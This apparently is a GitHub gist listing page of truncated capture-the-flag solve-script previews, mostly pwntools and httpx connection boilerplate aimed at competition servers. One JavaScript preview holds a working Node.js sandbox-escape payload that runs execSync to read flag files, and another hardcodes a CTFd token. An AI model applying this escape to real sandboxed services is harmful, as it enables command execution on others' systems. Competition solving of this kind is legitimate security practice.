This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import httpx | |
import time | |
CHALL_URL = "https://ch1688140851.ch.eng.run" | |
def share() -> None: | |
with httpx.Client(base_url=CHALL_URL) as client: | |
try: | |
r = client.post("/share", json={"id": "x"}, timeout=1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import dis | |
import marshal | |
import subprocess | |
from opcode import opmap | |
def f(): pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let code = ` | |
Function=this.constructor.constructor; | |
Array.prototype.toString=Object.prototype.toString; | |
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//"; | |
Object.prototype.prepareStackTrace=Function; | |
e=new Error; | |
x={toString:e.stack}+''; | |
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29'); | |
console.log(code); | |
if (process.env.DEBUG) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import secrets | |
TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e" | |
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split() | |
with remote(HOST, PORT) as io: | |
io.sendline(TOKEN) | |
token = secrets.token_hex(16) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
from base64 import b64encode | |
CHALL_URL = "http://45.147.229.138:8000/?e=" | |
CHALL_URL = "http://web/?e=" | |
app = Flask(__name__) | |
@app.route("/") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from urllib.parse import urlencode | |
HOST = "http://eeeeejs.seccon.games:3000/" | |
HOST = "http://localhost:3000/" | |
HOST = "http://web:3000/" | |
def html_encode(s): | |
return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyamf | |
from my_wsgi import WSGIGateway | |
NAMESPACE = "pyamf.remoting.amf3" | |
class RequestProcessor: | |
class __amf__: | |
static = ("gateway",) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
def conn() -> tube: | |
if args.LOCAL: | |
return process(["python", "chall.py"]) | |
return remote("chall-us.pwnable.hk", 30038) | |
def main() -> None: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
HOST = "pyjail.sstf.site" | |
PORT = "9999" | |
def conn() -> tube: | |
if args.LOCAL: | |
return process(["python", "jail.py"]) | |
return remote(HOST, PORT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import pickletools | |
def conn() -> tube: | |
if args.LOCAL: | |
return process(["python", "server.py"]) | |
return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337) |
NewerOlder